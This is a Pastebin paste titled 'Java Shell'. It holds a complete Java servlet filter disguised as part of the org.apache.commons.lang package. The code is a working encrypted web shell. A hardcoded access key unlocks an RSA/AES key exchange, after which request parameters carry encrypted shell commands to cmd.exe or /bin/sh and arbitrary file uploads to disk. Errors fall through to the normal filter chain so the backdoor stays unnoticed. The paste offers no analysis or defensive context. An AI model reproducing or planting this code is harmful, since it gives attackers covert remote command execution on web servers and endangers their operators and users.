API tools faq
paste
JohnGalt14

Java Shell

JohnGalt14
Feb 28th, 2025
166
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 6.25 KB | None | 0 0
raw download clone embed print report
  1. package org.apache.commons.lang;
  2.  
  3. import java.io.DataInputStream;
  4. import java.io.FileOutputStream;
  5. import java.io.IOException;
  6. import java.io.InputStream;
  7. import java.io.OutputStream;
  8. import java.security.KeyFactory;
  9. import java.security.PublicKey;
  10. import java.security.spec.X509EncodedKeySpec;
  11. import java.util.Objects;
  12. import javax.crypto.Cipher;
  13. import javax.crypto.KeyGenerator;
  14. import javax.crypto.SecretKey;
  15. import javax.crypto.spec.SecretKeySpec;
  16. import javax.servlet.Filter;
  17. import javax.servlet.FilterChain;
  18. import javax.servlet.FilterConfig;
  19. import javax.servlet.ServletException;
  20. import javax.servlet.ServletRequest;
  21. import javax.servlet.ServletResponse;
  22. import javax.servlet.http.HttpServletRequest;
  23. import javax.servlet.http.HttpServletResponse;
  24. import javax.servlet.http.HttpSession;
  25.  
  26. public class ServletContextAttributeYminqFilter implements Filter {
  27.    public String _accessKey = "Cmalbadtas";
  28.  
  29.    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  30.       HttpServletRequest request = (HttpServletRequest)servletRequest;
  31.       HttpServletResponse response = (HttpServletResponse)servletResponse;
  32.  
  33.       try {
  34.          HttpSession session = request.getSession();
  35.          if (session.getAttribute("sessionKey") != null && !session.getAttribute("sessionKey").equals("")) {
  36.             byte[] sessionKey = this.doBase64Decode((String)session.getAttribute("sessionKey"));
  37.             SecretKeySpec secretKeySpec = new SecretKeySpec(sessionKey, "AES");
  38.             if (Objects.equals(request.getParameter("role"), "guest")) {
  39.                this.runCommand(request, response, secretKeySpec);
  40.             } else if (Objects.equals(request.getParameter("role"), "user")) {
  41.                this.upload(request, response, secretKeySpec);
  42.             }
  43.          } else {
  44.             String receivedKey = request.getParameter("pageId");
  45.             String accessKey = request.getParameter("userID");
  46.             if (accessKey.equals(this._accessKey) && receivedKey != null) {
  47.                KeyGenerator keyGen = null;
  48.                keyGen = KeyGenerator.getInstance("AES");
  49.                keyGen.init(256);
  50.                SecretKey secretKey = keyGen.generateKey();
  51.                String secretKeyBase64 = this.doBase64Encode(secretKey.getEncoded());
  52.                session.setAttribute("sessionKey", secretKeyBase64);
  53.                byte[] byteKey = this.doBase64Decode(receivedKey);
  54.                X509EncodedKeySpec X509publicKey = new X509EncodedKeySpec(byteKey);
  55.                KeyFactory keyFactory = null;
  56.                keyFactory = KeyFactory.getInstance("RSA");
  57.                PublicKey publicKey = keyFactory.generatePublic(X509publicKey);
  58.                Cipher encryptionCipher = Cipher.getInstance("RSA");
  59.                encryptionCipher.init(1, publicKey);
  60.                byte[] encryptedMessage = encryptionCipher.doFinal(secretKeyBase64.getBytes());
  61.                String encryption = this.doBase64Encode(encryptedMessage);
  62.                OutputStream out = response.getOutputStream();
  63.                out.write(encryption.getBytes());
  64.                out.flush();
  65.                out.close();
  66.             } else {
  67.                filterChain.doFilter(request, response);
  68.             }
  69.          }
  70.       } catch (Exception var20) {
  71.          filterChain.doFilter(request, response);
  72.       }
  73.  
  74.    }
  75.  
  76.    public void runCommand(HttpServletRequest request, HttpServletResponse response, SecretKeySpec secretKeySpec) throws Exception {
  77.       Cipher instance = Cipher.getInstance("AES");
  78.       String cmd = "";
  79.       instance.init(2, secretKeySpec);
  80.       cmd = new String(instance.doFinal(this.doBase64Decode(request.getParameter("pageID"))));
  81.       boolean isWindows = System.getProperty("os.name").toLowerCase().contains("windows");
  82.       Process p;
  83.       if (isWindows) {
  84.          p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
  85.       } else {
  86.          p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
  87.       }
  88.  
  89.       InputStream inputStream = p.getInputStream();
  90.       DataInputStream dis = new DataInputStream(inputStream);
  91.       String disr = dis.readLine();
  92.       OutputStream out = response.getOutputStream();
  93.       instance.init(1, secretKeySpec);
  94.  
  95.       while(disr != null) {
  96.          out.write(this.doBase64Encode(instance.doFinal(disr.getBytes())).getBytes());
  97.          disr = dis.readLine();
  98.          out.flush();
  99.       }
  100.  
  101.       out.close();
  102.    }
  103.  
  104.    public void upload(HttpServletRequest request, HttpServletResponse response, SecretKeySpec secretKeySpec) throws Exception {
  105.       Cipher instance = Cipher.getInstance("AES");
  106.       instance.init(2, secretKeySpec);
  107.       byte[] data = this.doBase64Decode(new String(instance.doFinal(this.doBase64Decode(request.getParameter("userID")))));
  108.       String fileName = new String(instance.doFinal(this.doBase64Decode(request.getParameter("pageID"))));
  109.       FileOutputStream fos = new FileOutputStream(fileName);
  110.       fos.write(data);
  111.       fos.flush();
  112.       fos.close();
  113.    }
  114.  
  115.    public byte[] doBase64Decode(String str) throws Exception {
  116.       try {
  117.          Class clazz = Class.forName("sun.misc.BASE64Decoder");
  118.          return (byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
  119.       } catch (Exception var5) {
  120.          Class clazz = Class.forName("java.util.Base64");
  121.          Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
  122.          return (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
  123.       }
  124.    }
  125.  
  126.    public String doBase64Encode(byte[] data) throws Exception {
  127.       try {
  128.          Class<?> clazz = Class.forName("sun.misc.BASE64Encoder");
  129.          return (String)clazz.getMethod("encode", byte[].class).invoke(clazz.newInstance(), data);
  130.       } catch (Exception var5) {
  131.          Class<?> clazz = Class.forName("java.util.Base64");
  132.          Object encoder = clazz.getMethod("getEncoder").invoke((Object)null);
  133.          return (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, data);
  134.       }
  135.    }
  136.  
  137.    public void init(FilterConfig filterConfig) throws ServletException {
  138.    }
  139.  
  140.    public void destroy() {
  141.    }
  142. }
  143.  
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!